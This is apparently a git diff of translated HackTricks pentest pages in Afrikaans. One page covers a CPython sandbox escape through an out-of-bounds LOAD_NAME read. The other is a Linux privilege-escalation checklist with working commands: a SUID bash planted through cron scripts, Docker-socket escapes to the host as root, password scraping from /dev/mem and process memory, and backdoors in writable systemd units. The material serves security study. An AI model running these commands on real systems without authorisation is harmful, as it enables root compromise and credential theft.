> Die manier om iets soortgelyks aan stap pivoting in ARM64 uit te voer, sou wees om in staat te wees om die **`SP`** te **beheer** (deur 'n register te beheer waarvan die waarde aan `SP` oorgedra word of omdat om een of ander rede `SP` sy adres van die stapel neem en ons 'n oorskryding het) en dan die **epiloge te misbruik** om die **`x30`** register van 'n **beheerde `SP`** te laai en **`RET`** daarna toe.
Ook op die volgende bladsy kan jy die ekwivalent van **Ret2esp in ARM64** sien:

30
src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md
View File

@ -1,4 +1,4 @@
# LOAD_NAME / LOAD_CONST opcode OOB Lees
# LOAD_NAME / LOAD_CONST opcode OOB Read
{{#include ../../../banners/hacktricks-training.md}}
@ -6,9 +6,9 @@
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
Ons kan die OOB leesfunksie in LOAD_NAME / LOAD_CONST opcode gebruik om 'n simbool in die geheue te verkry. Dit beteken om 'n truuk soos `(a, b, c, ... honderde simbole ..., __getattribute__) if [] else [].__getattribute__(...)` te gebruik om 'n simbool (soos funksienaam) te kry wat jy wil hê.
Ons kan die OOB read-funksie in LOAD_NAME / LOAD_CONST opcode gebruik om 'n simbool in die geheue te kry. Dit beteken om 'n truuk soos `(a, b, c, ... honderde simbole ..., __getattribute__) if [] else [].__getattribute__(...)` te gebruik om 'n simbool (soos funksienaam) te kry wat jy wil.
Dan moet jy net jou uitbuiting saamstel.
Dan net jou ontploffing saamstel.
### Oorsig <a href="#overview-1" id="overview-1"></a>
@ -19,11 +19,11 @@ if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
```
U kan arbitrêre Python-kode invoer, en dit sal gecompileer word na 'n [Python-kode objek](https://docs.python.org/3/c-api/code.html). egter `co_consts` en `co_names` van daardie kode objek sal vervang word met 'n leë tuple voordat daardie kode objek geëvalueer word.
U kan arbitrêre Python-kode invoer, en dit sal gecompileer word na 'n [Python code object](https://docs.python.org/3/c-api/code.html). egter `co_consts` en `co_names` van daardie kode-object sal vervang word met 'n leë tuple voordat daardie kode-object geëvalueer word.
So op hierdie manier, sal alle uitdrukkings wat konstantes bevat (bv. getalle, strings ens.) of name (bv. veranderlikes, funksies) uiteindelik 'n segmentasiefout kan veroorsaak.
### Uit die Grens Lees <a href="#out-of-bound-read" id="out-of-bound-read"></a>
### Uit die Grense Lees <a href="#out-of-bound-read" id="out-of-bound-read"></a>
Hoe gebeur die segfault?
@ -35,7 +35,7 @@ Kom ons begin met 'n eenvoudige voorbeeld, `[a, b, c]` kan in die volgende bytec
6 BUILD_LIST 3
8 RETURN_VALUE12345
```
Maar wat as die `co_names` 'n leë tuple word? Die `LOAD_NAME 2` opcode word steeds uitgevoer en probeer om die waarde van daardie geheueadres te lees waar dit oorspronklik behoort te wees. Ja, dit is 'n uit-baan lees "kenmerk".
Maar wat as die `co_names` 'n leë tuple word? Die `LOAD_NAME 2` opcode word steeds uitgevoer, en probeer om die waarde van daardie geheueadres te lees waar dit oorspronklik behoort te wees. Ja, dit is 'n uit-baan lees "kenmerk".
Die kernkonsep vir die oplossing is eenvoudig. Sommige opcodes in CPython, byvoorbeeld `LOAD_NAME` en `LOAD_CONST`, is kwesbaar (?) vir OOB lees.
@ -49,7 +49,7 @@ PUSH(value);
FAST_DISPATCH();
}1234567
```
Op hierdie manier kan ons die OOB-funksie gebruik om 'n "naam" van arbitrêre geheue-offset te verkry. Om seker te maak watter naam dit het en wat sy offset is, hou net aan om `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... te probeer. En jy kan iets vind in ongeveer oparg > 700. Jy kan ook probeer om gdb te gebruik om na die geheue-indeling te kyk, natuurlik, maar ek dink nie dit sal makliker wees nie?
Op hierdie manier kan ons die OOB-funksie gebruik om 'n "naam" van arbitrêre geheue-offset te verkry. Om seker te maak watter naam dit het en wat sy offset is, hou net aan om `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... te probeer. En jy kan iets vind in ongeveer oparg > 700. Jy kan ook probeer om gdb te gebruik om na die geheue-opstelling te kyk, natuurlik, maar ek dink nie dit sal makliker wees nie?
### Generating the Exploit <a href="#generating-the-exploit" id="generating-the-exploit"></a>
@ -61,7 +61,7 @@ Kom ons neem aan ons kan 'n `__getattribute__` naam van offset 5 (`LOAD_NAME 5`)
# you can get the __getattribute__ method of list object now!
]1234
```
> Let op dat dit nie nodig is om dit as `__getattribute__` te noem nie, jy kan dit iets korter of meer vreemd noem
> Let op dat dit nie nodig is om dit as `__getattribute__` te noem nie, jy kan dit as iets korter of meer vreemd noem
Jy kan die rede agterkom deur net na die bytecode te kyk:
```python
@ -227,11 +227,11 @@ builtins['eval'](builtins['input']())
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → lees name van `co_names[...]` (vir 3.11+ let op `LOAD_ATTR`/`LOAD_GLOBAL` stoor vlag bits in die lae bit; die werklike indeks is `namei >> 1`). Sien die disassembler dokumentasie vir presiese semantiek per weergawe. [Python dis docs].
- Python 3.11+ het aanpasbare/inlyn caches bekendgestel wat versteekte `CACHE` inskrywings tussen instruksies voeg. Dit verander nie die OOB primitief nie; dit beteken net dat as jy bytecode handmatig saamstel, jy daardie cache inskrywings moet oorweeg wanneer jy `co_code` bou.
Praktiese implikasie: die tegniek op hierdie bladsy bly werk op CPython 3.11, 3.12 en 3.13 wanneer jy 'n kode objek kan beheer (bv. via `CodeType.replace(...)`) en `co_consts`/`co_names` kan verklein.
Praktiese implikasie: die tegniek op hierdie bladsy werk voort op CPython 3.11, 3.12 en 3.13 wanneer jy 'n kode objek kan beheer (bv. via `CodeType.replace(...)`) en `co_consts`/`co_names` kan verklein.
### Vinige skandeerder vir nuttige OOB indekse (3.11+/3.12+ versoenbaar)
As jy verkies om direk van bytecode na interessante objekte te soek eerder as van hoëvlak bron, kan jy minimale kode objekte genereer en brute force indekse. Die helper hieronder voeg outomaties inlyn caches in wanneer nodig.
As jy verkies om direk van bytecode na interessante objekte te soek eerder as van hoëvlak bron, kan jy minimale kode objekte genereer en indekse brute force. Die helper hieronder voeg outomaties inlyn caches in wanneer nodig.
```python
import dis, types
@ -323,12 +323,12 @@ raise ValueError("Bytecode refers to name index beyond co_names length")
# validate_code_object(c)
# eval(c, {'__builtins__': {}})
```
Additional mitigation ideas
- Moet nie arbitrêre `CodeType.replace(...)` op onbetroubare invoer toelaat nie, of voeg streng struktuurkontroles op die resultaatkode objek by.
- Oorweeg om onbetroubare kode in 'n aparte proses met OS-vlak sandboxing (seccomp, job objects, containers) te laat loop in plaas van om op CPython semantiek te vertrou.
Aanvullende versagingsidees
- Moet nie arbitrêre `CodeType.replace(...)` op onbetroubare invoer toelaat nie, of voeg streng struktuurkontroles op die resulterende kodeobjek by.
- Oorweeg om onbetroubare kode in 'n aparte proses met OS-vlak sandboxing (seccomp, werkobjekte, houers) te laat loop in plaas daarvan om op CPython-semantiek te vertrou.
## References
## Verwysings
- Splitline’s HITCON CTF 2022 writeup “V O I D” (oorsprong van hierdie tegniek en hoëvlak exploit ketting): https://blog.splitline.tw/hitcon-ctf-2022/
- Splitline se HITCON CTF 2022 skrywe “V O I D” (oorsprong van hierdie tegniek en hoëvlak eksploitketting): https://blog.splitline.tw/hitcon-ctf-2022/
- Python disassembler docs (indekse semantiek vir LOAD_CONST/LOAD_NAME/etc., en 3.11+ `LOAD_ATTR`/`LOAD_GLOBAL` laag-biet vlaggies): https://docs.python.org/3.13/library/dis.html
{{#include ../../../banners/hacktricks-training.md}}

172
src/linux-hardening/privilege-escalation/README.md
View File

@ -6,7 +6,7 @@
### OS-inligting
Kom ons begin om 'n bietjie kennis te verkry van die bedryfstelsel wat loop
Kom ons begin om 'n bietjie kennis van die bedryfstelsel te verkry
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Pad
As jy **skrywe toestemmings op enige vouer binne die `PATH`** veranderlike het, mag jy in staat wees om sommige biblioteke of binêre te kap:
As jy **skryfreëls op enige vouer binne die `PATH`** veranderlike het, mag jy in staat wees om sommige biblioteke of binêre te kap:
```bash
echo $PATH
```
@ -32,10 +32,10 @@ cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
Jy kan 'n goeie lys van kwesbare kernel en sommige reeds **gecompileerde exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
Jy kan 'n goeie lys van kwesbare kernels en sommige reeds **gecompileerde exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
Ander webwerwe waar jy 'n paar **gecompileerde exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Om al die kwesbare kernel weergawes van daardie web te onttrek, kan jy doen:
Om al die kwesbare kern weergawe van daardie web te onttrek, kan jy doen:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
@ -63,7 +63,7 @@ Gebaseer op die kwesbare sudo weergawes wat verskyn in:
```bash
searchsploit sudo
```
Jy kan nagaan of die sudo weergawe kwesbaar is deur hierdie grep te gebruik.
U kan nagaan of die sudo weergawe kwesbaar is deur hierdie grep te gebruik.
```bash
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
```
@ -121,7 +121,7 @@ fi
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
```
## Docker Breakout
## Docker Breekuit
As jy binne 'n docker-container is, kan jy probeer om daaruit te ontsnap:
@ -129,9 +129,9 @@ As jy binne 'n docker-container is, kan jy probeer om daaruit te ontsnap:
docker-security/
{{#endref}}
## Drives
## Skywe
Kyk **wat gemonteer en ongemonteer is**, waar en hoekom. As iets ongemonteer is, kan jy probeer om dit te monteer en na private inligting te kyk.
Kontroleer **wat gemonteer en ongemonteer is**, waar en hoekom. As iets ongemonteer is, kan jy probeer om dit te monteer en na private inligting te kyk.
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -144,21 +144,21 @@ Tel nuttige binaire op
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
Kontroleer ook of **enige kompilator geïnstalleer is**. Dit is nuttig as jy 'n kerneluitbuiting moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op een soortgelyk).
Kontroleer ook of **enige kompilator geïnstalleer is**. Dit is nuttig as jy 'n kernel-ontploffing moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op een soortgelyke).
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
### Kwetsbare Sagteware Geïnstalleer
Kontroleer die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ou Nagios weergawe (byvoorbeeld) wat benut kan word om voorregte te verhoog…\
Dit word aanbeveel om handmatig die weergawe van die meer verdagte geïnstalleerde sagteware te kontroleer.
Kyk na die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ou Nagios-weergawe (byvoorbeeld) wat benut kan word om voorregte te verhoog…\
Dit word aanbeveel om handmatig die weergawe van die meer verdagte geïnstalleerde sagteware na te gaan.
```bash
dpkg -l #Debian
rpm -qa #Centos
```
As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kyk vir verouderde en kwesbare sagteware wat op die masjien geïnstalleer is.
> [!NOTE] > _Let daarop dat hierdie opdragte 'n baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om sommige toepassings soos OpenVAS of soortgelyk te gebruik wat sal kyk of enige geïnstalleerde sagteware weergawe kwesbaar is vir bekende ontploffings_
> [!NOTE] > _Let daarop dat hierdie opdragte 'n baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om sommige toepassings soos OpenVAS of soortgelyk te gebruik wat sal kyk of enige geïnstalleerde sagteware weergawe kwesbaar is vir bekende eksploitte_
## Prosesse
@ -231,7 +231,7 @@ rm $1*.bin
#### /dev/mem
`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kern se virtuele adresruimte kan toegang verkry word met /dev/kmem.\
Tipies, is `/dev/mem` slegs leesbaar deur **root** en die **kmem** groep.
Tipies is `/dev/mem` slegs leesbaar deur **root** en die **kmem** groep.
```
strings /dev/mem -n10 | grep -i PASS
```
@ -269,8 +269,8 @@ Press Ctrl-C to end monitoring without terminating the process.
Om 'n prosesgeheue te dump, kan jy gebruik maak van:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig die root vereistes verwyder en die proses wat aan jou behoort dump
- Script A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is vereis)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig root vereistes verwyder en die proses wat aan jou behoort dump
- Skrip A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is vereis)
### Credentials from Process Memory
@ -281,25 +281,25 @@ As jy vind dat die authenticator proses aan die gang is:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
Jy kan die proses dump (sien vorige afdelings om verskillende maniere te vind om die geheue van 'n proses te dump) en soek vir geloofsbriewe binne die geheue:
Jy kan die proses dump (sien vorige afdelings om verskillende maniere te vind om die geheue van 'n proses te dump) en soek vir akrediteer in die geheue:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
#### mimipenguin
Die hulpmiddel [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **duidelike teks geloofsbriewe uit geheue** en van 'n paar **bekende lêers** steel. Dit vereis wortelregte om behoorlik te werk.
Die hulpmiddel [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **duidelike teks geloofsbriewe uit geheue** en uit 'n paar **bekende lêers** steel. Dit vereis wortelregte om behoorlik te werk.
| Kenmerk | Prosesnaam |
| ------------------------------------------------- | -------------------- |
| GDM wagwoord (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Sleutelkissie (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| Gnome Sleutelhanger (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Aktiewe FTP Verbindinge) | vsftpd |
| Apache2 (Aktiewe HTTP Basiese Auth Sessies) | apache2 |
| Apache2 (Aktiewe HTTP Basiese Auth Sessions) | apache2 |
| OpenSSH (Aktiewe SSH Sessies - Sudo Gebruik) | sshd: |
#### Soek Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
@ -327,7 +327,7 @@ Byvoorbeeld, binne _/etc/crontab_ kan jy die PAD vind: _PATH=**/home/user**:/usr
(_Let op hoe die gebruiker "user" skryfregte oor /home/user het_)
As die root-gebruiker in hierdie crontab probeer om 'n opdrag of skrip uit te voer sonder om die pad in te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\
As die root gebruiker in hierdie crontab probeer om 'n opdrag of skrip uit te voer sonder om die pad in te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\
Dan kan jy 'n root shell kry deur te gebruik:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
```
As die skrip wat deur root uitgevoer word 'n **gids gebruik waar jy volle toegang het**, kan dit dalk nuttig wees om daardie gids te verwyder en **'n simboliese skakelgids na 'n ander een te skep** wat 'n skrip wat deur jou beheer word, dien
As die skrip wat deur root uitgevoer word 'n **gids gebruik waar jy volle toegang het**, mag dit nuttig wees om daardie gids te verwyder en 'n **simboliese skakelgids na 'n ander een** te skep wat 'n skrip wat deur jou beheer word, dien.
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
@ -380,12 +380,12 @@ Dit is moontlik om 'n cronjob te skep **wat 'n terugkeerkarakter na 'n opmerking
### Skryfbare _.service_ lêers
Kontroleer of jy enige `.service` lêer kan skryf, as jy kan, kan jy dit **wysig** sodat dit jou **backdoor uitvoer wanneer** die diens **gestart**, **herstart** of **gestop** word (jy sal dalk moet wag totdat die masjien herbegin word).\
Byvoorbeeld, skep jou backdoor binne die .service lêer met **`ExecStart=/tmp/script.sh`**
Kontroleer of jy enige `.service` lêer kan skryf, as jy kan, kan jy dit **wysig** sodat dit jou **terugdeksel uitvoer wanneer** die diens **begin**, **herbegin** of **gestop** word (jy sal dalk moet wag totdat die masjien herbegin word).\
Byvoorbeeld, skep jou terugdeksel binne die .service lêer met **`ExecStart=/tmp/script.sh`**
### Skryfbare diens binaire
Hou in gedagte dat as jy **skryfregte oor binaire het wat deur dienste uitgevoer word**, jy dit kan verander na backdoors sodat wanneer die dienste weer uitgevoer word, die backdoors uitgevoer sal word.
Hou in gedagte dat as jy **skryfregte oor binaire het wat deur dienste uitgevoer word**, jy dit kan verander vir terugdeksels sodat wanneer die dienste weer uitgevoer word, die terugdeksels uitgevoer sal word.
### systemd PAD - Relatiewe Pade
@ -399,13 +399,13 @@ ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
Dan, skep 'n **uitvoerbare** lêer met die **selfde naam as die relatiewe pad-binary** binne die systemd PATH-gids waar jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie uit te voer (**Begin**, **Stop**, **Herlaai**), sal jou **achterdeur uitgevoer word** (onbevoegde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy `sudo -l` kan gebruik).
Dan, skep 'n **uitvoerbare** lêer met die **selfde naam as die relatiewe pad-binary** binne die systemd PATH-gids wat jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie (**Begin**, **Stop**, **Herlaai**) uit te voer, sal jou **agterdeur uitgevoer word** (onbevoegde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy `sudo -l` kan gebruik).
**Leer meer oor dienste met `man systemd.service`.**
## **Timers**
**Timers** is systemd eenheid lêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender tyd gebeurtenisse en monotone tyd gebeurtenisse en kan asynchrone uitgevoer word.
**Timers** is systemd eenheid lêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender tyd gebeurtenisse en monotone tyd gebeurtenisse en kan asynchrone loop.
Jy kan al die timers opnoem met:
```bash
@ -413,17 +413,17 @@ systemctl list-timers --all
```
### Skryfbare timers
As jy 'n timer kan wysig, kan jy dit laat uitvoer van sommige voorwerpe van systemd.unit (soos 'n `.service` of 'n `.target`)
As jy 'n timer kan wysig, kan jy dit laat uitvoer van sommige bestaan van systemd.unit (soos 'n `.service` of 'n `.target`)
```bash
Unit=backdoor.service
```
In die dokumentasie kan jy lees wat die Eenheid is:
> Die eenheid om te aktiveer wanneer hierdie timer verstryk. Die argument is 'n eenheid naam, waarvan die agtervoegsel nie ".timer" is nie. As dit nie gespesifiseer is nie, is hierdie waarde die standaard vir 'n diens wat dieselfde naam as die timer eenheid het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die eenheid naam wat geaktiveer word en die eenheid naam van die timer eenheid identies genoem word, behalwe vir die agtervoegsel.
> Die eenheid om te aktiveer wanneer hierdie timer verstryk. Die argument is 'n eenheidsnaam, waarvan die agtervoegsel nie ".timer" is nie. As dit nie gespesifiseer is nie, is hierdie waarde 'n diens wat dieselfde naam as die timer eenheid het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die eenheidsnaam wat geaktiveer word en die eenheidsnaam van die timer eenheid identies genoem word, behalwe vir die agtervoegsel.
Daarom, om hierdie toestemming te misbruik, moet jy:
- 'n sekere systemd eenheid vind (soos 'n `.service`) wat **'n skryfbare binêre uitvoer**
- 'n sekere systemd eenheid (soos 'n `.service`) vind wat **'n skryfbare binêre uitvoer**
- 'n sekere systemd eenheid vind wat **'n relatiewe pad uitvoer** en jy het **skryfregte** oor die **systemd PAD** (om daardie uitvoerbare te verteenwoordig)
**Leer meer oor timers met `man systemd.timer`.**
@ -439,7 +439,7 @@ Let wel die **timer** is **geaktiveer** deur 'n symlink na dit te skep op `/etc/
## Sockets
Unix Domain Sockets (UDS) stel **proses kommunikasie** op dieselfde of verskillende masjiene binne kliënt-bediener modelle in staat. Hulle gebruik standaard Unix beskrywer lêers vir inter-rekenaar kommunikasie en word opgestel deur middel van `.socket` lêers.
Unix Domain Sockets (UDS) stel **proses kommunikasie** in staat op dieselfde of verskillende masjiene binne kliënt-bediener modelle. Hulle gebruik standaard Unix beskrywer lêers vir inter-rekenaar kommunikasie en word opgestel deur middel van `.socket` lêers.
Sockets kan gekonfigureer word met behulp van `.socket` lêers.
@ -449,22 +449,22 @@ Sockets kan gekonfigureer word met behulp van `.socket` lêers.
- `Accept`: Neem 'n boolean argument. As **waar**, 'n **diensinstansie word geskep vir elke inkomende verbinding** en slegs die verbinding socket word aan dit oorgedra. As **vals**, word al die luister sockets self **aan die begin diens eenheid oorgedra**, en slegs een diens eenheid word geskep vir al die verbindings. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar 'n enkele diens eenheid onvoorwaardelik al die inkomende verkeer hanteer. **Standaard is vals**. Vir prestasiedoeleindes word dit aanbeveel om nuwe daemons slegs op 'n manier te skryf wat geskik is vir `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdraglyne, wat **uitgevoer word voor** of **na** die luister **sockets**/FIFOs **gecreëer** en gebind word, onderskeidelik. Die eerste token van die opdraglyn moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses.
- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat **uitgevoer word voor** of **na** die luister **sockets**/FIFOs **gesluit** en verwyder word, onderskeidelik.
- `Service`: Gee die **diens** eenheid naam **om te aktiveer** op **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit is standaard die diens wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.
- `Service`: Spesifiseer die **diens** eenheid naam **om te aktiveer** op **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit is standaard die diens wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.
### Skryfbare .socket lêers
As jy 'n **skryfbare** `.socket` lêer vind, kan jy **byvoeg** aan die begin van die `[Socket]` afdeling iets soos: `ExecStartPre=/home/kali/sys/backdoor` en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom, jy sal **waarskynlik moet wag totdat die masjien herbegin word.**\
_Let daarop dat die stelsel daardie socket lêer konfigurasie moet gebruik of die backdoor sal nie uitgevoer word nie_
_Nota dat die stelsel daardie socket lêer konfigurasie moet gebruik of die backdoor sal nie uitgevoer word nie_
### Skryfbare sockets
As jy **enige skryfbare socket identifiseer** (_nou praat ons oor Unix Sockets en nie oor die konfig .socket lêers nie_), dan **kan jy kommunikeer** met daardie socket en dalk 'n kwesbaarheid benut.
As jy **enige skryfbare socket identifiseer** (_nou praat ons oor Unix Sockets en nie oor die konfig .socket lêers nie_), dan **kan jy kommunikeer** met daardie socket en dalk 'n kwesbaarheid ontgin.
### Enumereer Unix Sockets
```bash
netstat -a -p --unix
```
### Rou verbinding
### Rauwe verbinding
```bash
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
@ -485,20 +485,20 @@ Let daarop dat daar dalk **sokke is wat luister na HTTP** versoeke (_Ek praat ni
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
As die socket **reageer met 'n HTTP** versoek, kan jy **kommunikeer** daarmee en dalk **'n sekuriteitskwessie** ontgin.
As die socket **reageer met 'n HTTP** versoek, kan jy **kommunikeer** daarmee en dalk **'n kwesbaarheid ontgin**.
### Skryfbare Docker Socket
Die Docker socket, wat dikwels by `/var/run/docker.sock` gevind word, is 'n kritieke lêer wat beveilig moet word. Standaard is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryfreëling tot hierdie socket te hê, kan lei tot privilige-eskalasie. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.
Die Docker socket, wat dikwels by `/var/run/docker.sock` gevind word, is 'n kritieke lêer wat beveilig moet word. Standaard is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryfreëling tot hierdie socket te hê, kan lei tot privilige-escalasie. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.
#### **Privilige Eskalasie met Docker CLI**
#### **Privilige-Escalasie met Docker CLI**
As jy skryfreëling tot die Docker socket het, kan jy privilige eskalasie doen met die volgende opdragte:
As jy skryfreëling tot die Docker socket het, kan jy privilige verhoog met die volgende opdragte:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
Hierdie opdragte laat jou toe om 'n houer met wortelvlaktoegang tot die gasheer se lêerstelsel te draai.
Hierdie opdragte laat jou toe om 'n houer met wortelvlaktoegang tot die gasheer se lêerstelsel te loop.
#### **Gebruik Docker API Direk**
@ -510,7 +510,7 @@ In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker-soket steed
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
2. **Skep 'n Houer:** Stuur 'n versoek om 'n houer te skep wat die gasheerstelsel se wortelgids monteer.
2. **Skep 'n Houer:** Stuur 'n versoek om 'n houer te skep wat die gasheer se wortelgids monteer.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
@ -536,7 +536,7 @@ Nadat jy die `socat`-verbinding opgestel het, kan jy opdragte direk in die houer
### Ander
Let daarop dat as jy skrywe toestemmings oor die docker soket het omdat jy **binne die groep `docker`** is, jy het [**meer maniere om voorregte te verhoog**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API op 'n poort luister** kan jy dit ook kompromitteer](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Let daarop dat as jy skryfrechten oor die docker-soket het omdat jy **binne die groep `docker`** is, jy het [**meer maniere om voorregte te verhoog**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API op 'n poort luister** kan jy dit ook kompromitteer](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Kyk na **meer maniere om uit docker te breek of dit te misbruik om voorregte te verhoog** in:
@ -546,7 +546,7 @@ docker-security/
## Containerd (ctr) voorregverhoging
As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy as **jy dalk dit kan misbruik om voorregte te verhoog**:
As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy, aangesien **jy dit dalk kan misbruik om voorregte te verhoog**:
{{#ref}}
containerd-ctr-privilege-escalation.md
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
## **RunC** voorregverhoging
As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy as **jy dalk dit kan misbruik om voorregte te verhoog**:
